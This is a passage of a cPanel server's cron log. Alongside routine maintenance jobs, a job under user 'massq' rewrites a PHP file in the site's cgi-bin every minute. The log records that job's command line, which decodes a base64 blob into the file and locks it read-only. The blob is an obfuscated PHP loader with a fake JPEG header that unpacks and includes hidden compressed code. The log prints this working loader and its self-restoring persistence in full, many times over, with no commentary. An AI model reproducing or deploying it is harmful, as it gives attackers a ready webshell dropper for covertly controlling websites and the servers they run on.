&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:50:01 server CROND[9529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 13:50:01 server CROND[9528]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 13:50:01 server CROND[9534]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 13:50:01 server CROND[9538]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:50:01 server CROND[9536]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 13:51:01 server CROND[10418]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:52:01 server CROND[11379]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:53:01 server CROND[12181]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:54:01 server CROND[13030]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:55:01 server CROND[13561]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:55:01 server CROND[13562]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 13:55:01 server CROND[13563]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 13:56:01 server CROND[14425]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:57:01 server CROND[15046]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:57:01 server CROND[15047]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 13:58:01 server CROND[15866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 13:59:01 server CROND[16673]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:00:01 server CROND[17596]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 14:00:01 server CROND[17597]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 14:00:01 server CROND[17600]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 14:00:01 server CROND[17604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:00:01 server CROND[17605]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 12 14:01:01 server CROND[18468]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 14:01:01 server CROND[18469]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:01:01 server run-parts(/etc/cron.hourly)[18468]: starting 0anacron
Nov 12 14:01:01 server run-parts(/etc/cron.hourly)[18481]: finished 0anacron
